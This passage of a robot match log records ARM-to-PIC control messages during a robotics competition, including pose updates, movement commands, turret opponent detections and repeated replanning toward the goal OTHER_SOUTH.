l(['150.41','ARM','# Pushing sub-state Sequence'])
l(['150.41','ARM','# Pushing sub-state Antiblocking'])
l(['150.41','ARM',EnableAntiBlocking()])
l(['150.41','PIC',KeepAlive(current_pose = Pose(1.36239862442, 2.06951594353, 1.45476388931), match_started = True, match_time = 70290)])
l(['150.41','ARM',KeepAlive(current_pose = Pose(1.36239862442, 2.06951594353, 1.45476388931), match_started = True, match_time = 70290)])
l(['150.42','PIC',EnableAntiBlocking()])
l(['150.42','ARM','# Poping sub-state Antiblocking'])
l(['150.42','ARM','# Pushing sub-state TrajectoryWalk'])
l(['150.42','ARM',Goto(movement = 0, direction = 1, angle = 1.64141243205, points = [])])
l(['150.45','PIC',GotoStarted()])
l(['150.63','PIC',KeepAlive(current_pose = Pose(1.36258530617, 2.07117986679, 1.46441578865), match_started = True, match_time = 70540)])
l(['150.63','ARM',KeepAlive(current_pose = Pose(1.36258530617, 2.07117986679, 1.46441578865), match_started = True, match_time = 70540)])
l(['150.88','PIC',KeepAlive(current_pose = Pose(1.36327958107, 2.07935905457, 1.50845146179), match_started = True, match_time = 70790)])
l(['150.88','ARM',KeepAlive(current_pose = Pose(1.36327958107, 2.07935905457, 1.50845146179), match_started = True, match_time = 70790)])
l(['151.13','PIC',KeepAlive(current_pose = Pose(1.36364614964, 2.09149956703, 1.5762295723), match_started = True, match_time = 71040)])
l(['151.13','ARM',KeepAlive(current_pose = Pose(1.36364614964, 2.09149956703, 1.5762295723), match_started = True, match_time = 71040)])
l(['151.38','PIC',KeepAlive(current_pose = Pose(1.36320114136, 2.10350203514, 1.64264416695), match_started = True, match_time = 71290)])
l(['151.38','ARM',KeepAlive(current_pose = Pose(1.36320114136, 2.10350203514, 1.64264416695), match_started = True, match_time = 71290)])
l(['151.49','PIC',GotoFinished(reason = 0, current_pose = Pose(1.36296319962, 2.10646748543, 1.66095900536), current_point_index = 1)])
l(['151.49','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.34, None)])])
l(['151.52','PIC',GotoStarted()])
l(['151.63','PIC',KeepAlive(current_pose = Pose(1.36303079128, 2.10570383072, 1.65603935719), match_started = True, match_time = 71540)])
l(['151.63','ARM',KeepAlive(current_pose = Pose(1.36303079128, 2.10570383072, 1.65603935719), match_started = True, match_time = 71540)])
l(['151.88','PIC',KeepAlive(current_pose = Pose(1.36368954182, 2.09278273582, 1.58398342133), match_started = True, match_time = 71790)])
l(['151.88','ARM',KeepAlive(current_pose = Pose(1.36368954182, 2.09278273582, 1.58398342133), match_started = True, match_time = 71790)])
l(['152.13','PIC',KeepAlive(current_pose = Pose(1.36300611496, 2.07395124435, 1.47877371311), match_started = True, match_time = 72040)])
l(['152.13','ARM',KeepAlive(current_pose = Pose(1.36300611496, 2.07395124435, 1.47877371311), match_started = True, match_time = 72040)])
l(['152.38','PIC',KeepAlive(current_pose = Pose(1.36269795895, 2.07086253166, 1.4627853632), match_started = True, match_time = 72290)])
l(['152.38','ARM',KeepAlive(current_pose = Pose(1.36269795895, 2.07086253166, 1.4627853632), match_started = True, match_time = 72290)])
l(['152.63','PIC',KeepAlive(current_pose = Pose(1.36268973351, 2.07078814507, 1.46246433258), match_started = True, match_time = 72540)])
l(['152.63','ARM',KeepAlive(current_pose = Pose(1.36268973351, 2.07078814507, 1.46246433258), match_started = True, match_time = 72540)])
l(['152.88','PIC',KeepAlive(current_pose = Pose(1.3626844883, 2.07074165344, 1.46222352982), match_started = True, match_time = 72790)])
l(['152.88','ARM',KeepAlive(current_pose = Pose(1.3626844883, 2.07074165344, 1.46222352982), match_started = True, match_time = 72790)])
l(['153.02','PIC',GotoFinished(reason = 2, current_pose = Pose(1.36268556118, 2.07075095177, 1.4622502327), current_point_index = 1)])
l(['153.02','ARM','# Poping sub-state TrajectoryWalk'])
l(['153.02','ARM','# Pushing sub-state Antiblocking'])
l(['153.02','ARM',DisableAntiBlocking()])
l(['153.02','PIC',DisableAntiBlocking()])
l(['153.02','ARM','# Poping sub-state Antiblocking'])
l(['153.02','ARM','# Poping sub-state Sequence'])
l(['153.02','ARM','# Poping sub-state Navigate'])
l(['153.03','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['153.03','ARM','# Switching to state FindNextGoal'])
l(['153.03','ARM','# Calling GoalManager'])
l(['153.03','ARM','# Evaluate goal OTHER_SOUTH'])
l(['153.03','ARM','# Evaluate goal OTHER_SOUTH'])
l(['153.03','ARM','# Goal OTHER_SOUTH nav cost = 19.4142131805'])
l(['153.03','ARM','# Goal OTHER_SOUTH nav cost = 31.4142131805'])
l(['153.03','ARM','# Goals by score : [\'OTHER_SOUTH:100.0\', \'OTHER_SOUTH:103.0\']'])
l(['153.03','ARM','# Best goal is OTHER_SOUTH with score 100.0'])
l(['153.03','ARM','# Next goal is OTHER_SOUTH'])
l(['153.03','ARM','# Time taken for decision taking 3.309 ms'])
l(['153.03','ARM','# Pushing sub-state Navigate'])
l(['153.03','ARM','# Compute route from (1.36268556118, 2.07075095177) to (1.414, 1.34)'])
l(['153.19','ARM','# Route computed. Length: 0.732550424981, Cost: 0.732550424981'])
l(['153.19','ARM','# Pushing sub-state Sequence'])
l(['153.19','ARM','# Pushing sub-state Antiblocking'])
l(['153.19','ARM',EnableAntiBlocking()])
l(['153.20','PIC',KeepAlive(current_pose = Pose(1.36268520355, 2.07074785233, 1.46222364902), match_started = True, match_time = 73040)])
l(['153.20','ARM',KeepAlive(current_pose = Pose(1.36268520355, 2.07074785233, 1.46222364902), match_started = True, match_time = 73040)])
l(['153.20','PIC',EnableAntiBlocking()])
l(['153.20','ARM','# Poping sub-state Antiblocking'])
l(['153.20','ARM','# Pushing sub-state TrajectoryWalk'])
l(['153.20','ARM',Goto(movement = 0, direction = 1, angle = 1.64090354314, points = [])])
l(['153.23','PIC',GotoStarted()])
l(['153.38','PIC',KeepAlive(current_pose = Pose(1.36282324791, 2.07205986977, 1.47013771534), match_started = True, match_time = 73290)])
l(['153.63','PIC',KeepAlive(current_pose = Pose(1.36343085766, 2.07973480225, 1.51454734802), match_started = True, match_time = 73540)])
l(['153.63','ARM',KeepAlive(current_pose = Pose(1.36343085766, 2.07973480225, 1.51454734802), match_started = True, match_time = 73540)])
l(['153.88','PIC',KeepAlive(current_pose = Pose(1.36372876167, 2.09112024307, 1.57743263245), match_started = True, match_time = 73790)])
l(['153.88','ARM',KeepAlive(current_pose = Pose(1.36372876167, 2.09112024307, 1.57743263245), match_started = True, match_time = 73790)])
l(['154.13','PIC',KeepAlive(current_pose = Pose(1.36332774162, 2.10254383087, 1.63890111446), match_started = True, match_time = 74040)])
l(['154.13','ARM',KeepAlive(current_pose = Pose(1.36332774162, 2.10254383087, 1.63890111446), match_started = True, match_time = 74040)])
l(['154.22','PIC',GotoFinished(reason = 0, current_pose = Pose(1.36310100555, 2.10552287102, 1.65614664555), current_point_index = 1)])
l(['154.22','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.34, None)])])
l(['154.25','PIC',GotoStarted()])
l(['154.38','PIC',KeepAlive(current_pose = Pose(1.36316359043, 2.10477757454, 1.65170824528), match_started = True, match_time = 74290)])
l(['154.38','ARM',KeepAlive(current_pose = Pose(1.36316359043, 2.10477757454, 1.65170824528), match_started = True, match_time = 74290)])
l(['154.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['154.63','PIC',KeepAlive(current_pose = Pose(1.36376798153, 2.09201145172, 1.581630826), match_started = True, match_time = 74540)])
l(['154.63','ARM',KeepAlive(current_pose = Pose(1.36376798153, 2.09201145172, 1.581630826), match_started = True, match_time = 74540)])
l(['154.88','PIC',KeepAlive(current_pose = Pose(1.36309278011, 2.07403349876, 1.48128664494), match_started = True, match_time = 74790)])
l(['154.88','ARM',KeepAlive(current_pose = Pose(1.36309278011, 2.07403349876, 1.48128664494), match_started = True, match_time = 74790)])
l(['154.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.13','PIC',KeepAlive(current_pose = Pose(1.36278867722, 2.07089710236, 1.46484327316), match_started = True, match_time = 75040)])
l(['155.13','ARM',KeepAlive(current_pose = Pose(1.36278867722, 2.07089710236, 1.46484327316), match_started = True, match_time = 75040)])
l(['155.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.28','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['155.38','PIC',KeepAlive(current_pose = Pose(1.36277413368, 2.07076358795, 1.46406769753), match_started = True, match_time = 75290)])
l(['155.38','ARM',KeepAlive(current_pose = Pose(1.36277413368, 2.07076358795, 1.46406769753), match_started = True, match_time = 75290)])
l(['155.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.40','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['155.51','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.52','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['155.63','PIC',KeepAlive(current_pose = Pose(1.36275827885, 2.07061719894, 1.46318519115), match_started = True, match_time = 75540)])
l(['155.63','ARM',KeepAlive(current_pose = Pose(1.36275827885, 2.07061719894, 1.46318519115), match_started = True, match_time = 75540)])
l(['155.63','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.64','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['155.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.76','PIC',GotoFinished(reason = 2, current_pose = Pose(1.36275732517, 2.07060790062, 1.46315848827), current_point_index = 1)])
l(['155.76','ARM','# Poping sub-state TrajectoryWalk'])
l(['155.76','ARM','# Pushing sub-state Antiblocking'])
l(['155.76','ARM',DisableAntiBlocking()])
l(['155.76','PIC',DisableAntiBlocking()])
l(['155.76','ARM','# Poping sub-state Antiblocking'])
l(['155.76','ARM','# Poping sub-state Sequence'])
l(['155.76','ARM','# Poping sub-state Navigate'])
l(['155.76','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['155.76','ARM','# Switching to state FindNextGoal'])
l(['155.76','ARM','# Calling GoalManager'])
l(['155.76','ARM','# Evaluate goal OTHER_SOUTH'])
l(['155.76','ARM','# Evaluate goal OTHER_SOUTH'])
l(['155.76','ARM','# Goal OTHER_SOUTH nav cost = 19.4142131805'])
l(['155.76','ARM','# Goal OTHER_SOUTH nav cost = 31.4142131805'])
l(['155.77','ARM','# Goals by score : [\'OTHER_SOUTH:100.0\', \'OTHER_SOUTH:103.0\']'])
l(['155.77','ARM','# Best goal is OTHER_SOUTH with score 100.0'])
l(['155.77','ARM','# Next goal is OTHER_SOUTH'])
l(['155.77','ARM','# Time taken for decision taking 3.31 ms'])
l(['155.77','ARM','# Pushing sub-state Navigate'])
l(['155.77','ARM','# Compute route from (1.36275732517, 2.07060790062) to (1.414, 1.34)'])
l(['155.93','ARM','# Route computed. Length: 0.732402700822, Cost: 0.732402700822'])
l(['155.93','ARM','# Pushing sub-state Sequence'])
l(['155.93','ARM','# Pushing sub-state Antiblocking'])
l(['155.93','ARM',EnableAntiBlocking()])
l(['155.93','PIC',KeepAlive(current_pose = Pose(1.36275732517, 2.07060790062, 1.46315848827), match_started = True, match_time = 75790)])
l(['155.93','ARM',KeepAlive(current_pose = Pose(1.36275732517, 2.07060790062, 1.46315848827), match_started = True, match_time = 75790)])
l(['155.94','PIC',EnableAntiBlocking()])
l(['155.94','ARM','# Poping sub-state Antiblocking'])
l(['155.94','ARM','# Pushing sub-state TrajectoryWalk'])
l(['155.94','ARM',Goto(movement = 0, direction = 1, angle = 1.64081869792, points = [])])
l(['155.94','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['155.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['155.95','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['155.97','PIC',GotoStarted()])
l(['155.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.00','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['156.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.12','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['156.13','PIC',KeepAlive(current_pose = Pose(1.36293196678, 2.07230472565, 1.47382640839), match_started = True, match_time = 76040)])
l(['156.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.24','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['156.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.36','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['156.38','PIC',KeepAlive(current_pose = Pose(1.36356031895, 2.08084130287, 1.52213990688), match_started = True, match_time = 76290)])
l(['156.38','ARM',KeepAlive(current_pose = Pose(1.36356031895, 2.08084130287, 1.52213990688), match_started = True, match_time = 76290)])
l(['156.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['156.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['156.59','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.63','PIC',KeepAlive(current_pose = Pose(1.36376047134, 2.09222507477, 1.58628189564), match_started = True, match_time = 76540)])
l(['156.63','ARM',KeepAlive(current_pose = Pose(1.36376047134, 2.09222507477, 1.58628189564), match_started = True, match_time = 76540)])
l(['156.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['156.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['156.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.88','PIC',KeepAlive(current_pose = Pose(1.36329436302, 2.1029074192, 1.64601206779), match_started = True, match_time = 76790)])
l(['156.88','ARM',KeepAlive(current_pose = Pose(1.36329436302, 2.1029074192, 1.64601206779), match_started = True, match_time = 76790)])
l(['156.94','PIC',GotoFinished(reason = 0, current_pose = Pose(1.3631619215, 2.10458278656, 1.6550757885), current_point_index = 1)])
l(['156.94','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.34, None)])])
l(['156.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['156.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['156.97','PIC',GotoStarted()])
l(['157.06','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['157.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.13','PIC',KeepAlive(current_pose = Pose(1.36325645447, 2.10342097282, 1.64793682098), match_started = True, match_time = 77040)])
l(['157.13','ARM',KeepAlive(current_pose = Pose(1.36325645447, 2.10342097282, 1.64793682098), match_started = True, match_time = 77040)])
l(['157.18','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['157.19','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.30','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['157.31','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.38','PIC',KeepAlive(current_pose = Pose(1.36382579803, 2.08851289749, 1.56606841087), match_started = True, match_time = 77290)])
l(['157.38','ARM',KeepAlive(current_pose = Pose(1.36382579803, 2.08851289749, 1.56606841087), match_started = True, match_time = 77290)])
l(['157.42','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['157.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.56','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['157.63','PIC',KeepAlive(current_pose = Pose(1.36303496361, 2.07240009308, 1.4746016264), match_started = True, match_time = 77540)])
l(['157.63','ARM',KeepAlive(current_pose = Pose(1.36303496361, 2.07240009308, 1.4746016264), match_started = True, match_time = 77540)])
l(['157.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.68','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['157.79','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.80','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['157.88','PIC',KeepAlive(current_pose = Pose(1.36281836033, 2.07027173042, 1.46286404133), match_started = True, match_time = 77790)])
l(['157.88','ARM',KeepAlive(current_pose = Pose(1.36281836033, 2.07027173042, 1.46286404133), match_started = True, match_time = 77790)])
l(['157.91','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['157.92','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.03','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.04','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.13','PIC',KeepAlive(current_pose = Pose(1.36281371117, 2.07023143768, 1.46267664433), match_started = True, match_time = 78040)])
l(['158.13','ARM',KeepAlive(current_pose = Pose(1.36281371117, 2.07023143768, 1.46267664433), match_started = True, match_time = 78040)])
l(['158.15','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.16','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.27','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.28','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.38','PIC',KeepAlive(current_pose = Pose(1.36281049252, 2.07020354271, 1.46248948574), match_started = True, match_time = 78290)])
l(['158.38','ARM',KeepAlive(current_pose = Pose(1.36281049252, 2.07020354271, 1.46248948574), match_started = True, match_time = 78290)])
l(['158.39','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.40','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.47','PIC',GotoFinished(reason = 2, current_pose = Pose(1.36280977726, 2.07019734383, 1.46248960495), current_point_index = 1)])
l(['158.47','ARM','# Poping sub-state TrajectoryWalk'])
l(['158.47','ARM','# Pushing sub-state Antiblocking'])
l(['158.47','ARM',DisableAntiBlocking()])
l(['158.47','PIC',DisableAntiBlocking()])
l(['158.47','ARM','# Poping sub-state Antiblocking'])
l(['158.48','ARM','# Poping sub-state Sequence'])
l(['158.48','ARM','# Poping sub-state Navigate'])
l(['158.48','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=1)'])
l(['158.48','ARM','# Switching to state FindNextGoal'])
l(['158.48','ARM','# Calling GoalManager'])
l(['158.48','ARM','# Evaluate goal OTHER_SOUTH'])
l(['158.48','ARM','# Evaluate goal OTHER_SOUTH'])
l(['158.48','ARM','# Goal OTHER_SOUTH nav cost = 19.4142131805'])
l(['158.48','ARM','# Goal OTHER_SOUTH nav cost = 31.4142131805'])
l(['158.48','ARM','# Goals by score : [\'OTHER_SOUTH:100.0\', \'OTHER_SOUTH:103.0\']'])
l(['158.48','ARM','# Best goal is OTHER_SOUTH with score 100.0'])
l(['158.48','ARM','# Next goal is OTHER_SOUTH'])
l(['158.48','ARM','# Time taken for decision taking 3.353 ms'])
l(['158.48','ARM','# Pushing sub-state Navigate'])
l(['158.48','ARM','# Compute route from (1.36280977726, 2.07019734383) to (1.414, 1.34)'])
l(['158.64','ARM','# Route computed. Length: 0.731989480686, Cost: 0.731989480686'])
l(['158.64','ARM','# Pushing sub-state Sequence'])
l(['158.64','ARM','# Pushing sub-state Antiblocking'])
l(['158.64','ARM',EnableAntiBlocking()])
l(['158.65','PIC',KeepAlive(current_pose = Pose(1.36281013489, 2.07020044327, 1.46251630783), match_started = True, match_time = 78540)])
l(['158.65','ARM',KeepAlive(current_pose = Pose(1.36281013489, 2.07020044327, 1.46251630783), match_started = True, match_time = 78540)])
l(['158.65','PIC',EnableAntiBlocking()])
l(['158.65','ARM','# Poping sub-state Antiblocking'])
l(['158.65','ARM','# Pushing sub-state TrajectoryWalk'])
l(['158.65','ARM',Goto(movement = 0, direction = 1, angle = 1.64078567507, points = [])])
l(['158.66','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.66','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.66','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.66','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.68','PIC',GotoStarted()])
l(['158.75','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.76','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.87','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['158.88','PIC',KeepAlive(current_pose = Pose(1.36306023598, 2.07266998291, 1.47791695595), match_started = True, match_time = 78790)])
l(['158.88','ARM',KeepAlive(current_pose = Pose(1.36306023598, 2.07266998291, 1.47791695595), match_started = True, match_time = 78790)])
l(['158.88','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['158.99','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.00','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['159.11','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.13','PIC',KeepAlive(current_pose = Pose(1.36368870735, 2.08192515373, 1.52965307236), match_started = True, match_time = 79040)])
l(['159.13','ARM',KeepAlive(current_pose = Pose(1.36368870735, 2.08192515373, 1.52965307236), match_started = True, match_time = 79040)])
l(['159.22','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.23','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.34','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.35','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.38','PIC',KeepAlive(current_pose = Pose(1.36379814148, 2.09330821037, 1.59350073338), match_started = True, match_time = 79290)])
l(['159.38','ARM',KeepAlive(current_pose = Pose(1.36379814148, 2.09330821037, 1.59350073338), match_started = True, match_time = 79290)])
l(['159.46','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.47','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.58','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.59','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.63','PIC',KeepAlive(current_pose = Pose(1.36328279972, 2.10350656509, 1.65149343014), match_started = True, match_time = 79540)])
l(['159.63','ARM',KeepAlive(current_pose = Pose(1.36328279972, 2.10350656509, 1.65149343014), match_started = True, match_time = 79540)])
l(['159.65','PIC',GotoFinished(reason = 0, current_pose = Pose(1.36322534084, 2.10420799255, 1.6552901268), current_point_index = 1)])
l(['159.65','ARM',Goto(movement = 2, direction = -1, angle = None, points = [Pose(1.414, 1.34, None)])])
l(['159.68','PIC',GotoStarted()])
l(['159.70','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.71','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.82','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.83','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['159.88','PIC',KeepAlive(current_pose = Pose(1.3633928299, 2.10208463669, 1.64277720451), match_started = True, match_time = 79790)])
l(['159.88','ARM',KeepAlive(current_pose = Pose(1.3633928299, 2.10208463669, 1.64277720451), match_started = True, match_time = 79790)])
l(['159.94','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['159.95','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.06','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['160.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.13','PIC',KeepAlive(current_pose = Pose(1.36384510994, 2.08504152298, 1.54697847366), match_started = True, match_time = 80040)])
l(['160.13','ARM',KeepAlive(current_pose = Pose(1.36384510994, 2.08504152298, 1.54697847366), match_started = True, match_time = 80040)])
l(['160.19','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.31','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.38','PIC',KeepAlive(current_pose = Pose(1.36296367645, 2.07080745697, 1.46807765961), match_started = True, match_time = 80290)])
l(['160.38','ARM',KeepAlive(current_pose = Pose(1.36296367645, 2.07080745697, 1.46807765961), match_started = True, match_time = 80290)])
l(['160.43','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.44','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['160.54','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['160.55','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.56','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['160.61','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['160.61','ARM','# Opponent detected. direction = -1. Robot stopped'])
l(['160.61','ARM',Stop()])
l(['160.62','PIC',GotoFinished(reason = 3, current_pose = Pose(1.36284887791, 2.06972670555, 1.4613931179), current_point_index = 1)])
l(['160.62','ARM','# Pushing sub-state WaitForOpponentLeave'])
l(['160.62','ARM',Goto(movement = 1, direction = 1, angle = None, points = [Pose(1.37376738762, 2.16912884912, None)])])
l(['160.66','PIC',GotoStarted()])
l(['160.66','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['160.67','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['160.68','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['160.69','PIC',KeepAlive(current_pose = Pose(1.36285054684, 2.06974220276, 1.46147322655), match_started = True, match_time = 80571)])
l(['160.69','ARM',KeepAlive(current_pose = Pose(1.36285054684, 2.06974220276, 1.46147322655), match_started = True, match_time = 80571)])
l(['160.73','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['160.73','ARM',Stop()])
l(['160.74','PIC',GotoFinished(reason = 3, current_pose = Pose(1.36301267147, 2.07126355171, 1.46952104568), current_point_index = 1)])
l(['160.74','ARM','# WaitForOpponentLeave : exit on opponent leave reason=1'])
l(['160.74','ARM','# Poping sub-state WaitForOpponentLeave'])
l(['160.74','ARM','# Substate exit status = 1'])
l(['160.74','ARM','# TrajectoryWalk failed'])
l(['160.74','ARM','# Poping sub-state TrajectoryWalk'])
l(['160.74','ARM','# Pushing sub-state Antiblocking'])
l(['160.74','ARM',DisableAntiBlocking()])
l(['160.74','PIC',DisableAntiBlocking()])
l(['160.74','ARM','# Poping sub-state Antiblocking'])
l(['160.74','ARM','# Poping sub-state Sequence'])
l(['160.74','ARM','# Poping sub-state Navigate'])
l(['160.74','ARM','# Goal OTHER_SOUTH unreachable or blocked, adding a penalty (reason=2)'])
l(['160.74','ARM','# Switching to state FindNextGoal'])
l(['160.75','ARM','# Calling GoalManager'])
l(['160.75','ARM','# Evaluate goal OTHER_SOUTH'])
l(['160.77','ARM','# Evaluate goal OTHER_SOUTH'])
l(['160.78','ARM','# Goal OTHER_SOUTH nav cost = 36.3847732544'])
l(['160.78','ARM','# Goal OTHER_SOUTH nav cost = 11280.3847656'])
l(['160.78','ARM','# Goals by score : [\'OTHER_SOUTH:102.0\', \'OTHER_SOUTH:101.0\']'])
l(['160.78','ARM','# Best goal is OTHER_SOUTH with score 101.0'])
l(['160.78','ARM','# Next goal is OTHER_SOUTH'])
l(['160.78','ARM','# Time taken for decision taking 31.649 ms'])
l(['160.78','ARM','# Pushing sub-state Navigate'])
l(['160.78','ARM','# Compute route from (1.36301267147, 2.07126355171) to (1.414, 0.86)'])
l(['160.78','ARM','# Add opponent zone at 1.11947337617 1.57652059658'])
l(['161.06','ARM','# Route computed. Length: 1.21233621549, Cost: 49.2123362155'])
l(['161.06','ARM','# Pushing sub-state Sequence'])
l(['161.06','ARM','# Pushing sub-state Antiblocking'])
l(['161.06','ARM',EnableAntiBlocking()])
l(['161.06','PIC',KeepAlive(current_pose = Pose(1.36317896843, 2.07294893265, 1.47794306278), match_started = True, match_time = 80790)])
l(['161.06','ARM',KeepAlive(current_pose = Pose(1.36317896843, 2.07294893265, 1.47794306278), match_started = True, match_time = 80790)])
l(['161.06','PIC',EnableAntiBlocking()])
l(['161.06','ARM','# Poping sub-state Antiblocking'])
l(['161.06','ARM','# Pushing sub-state TrajectoryWalk'])
l(['161.07','ARM',Goto(movement = 0, direction = 1, angle = 1.61267057446, points = [])])
l(['161.07','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.07','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.07','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.08','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.08','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.08','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.08','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.08','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.09','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
l(['161.09','PIC',TurretDetect(distance = 1, angle = 8, robot = 0)])
l(['161.09','PIC',TurretDetect(distance = 1, angle = 7, robot = 0)])
l(['161.09','PIC',TurretDetect(distance = 0, angle = 8, robot = 0)])
l(['161.09','PIC',GotoStarted()])
l(['161.13','PIC',KeepAlive(current_pose = Pose(1.36318004131, 2.07296133041, 1.47804999352), match_started = True, match_time = 81040)])
l(['161.14','PIC',TurretDetect(distance = 1, angle = 9, robot = 0)])
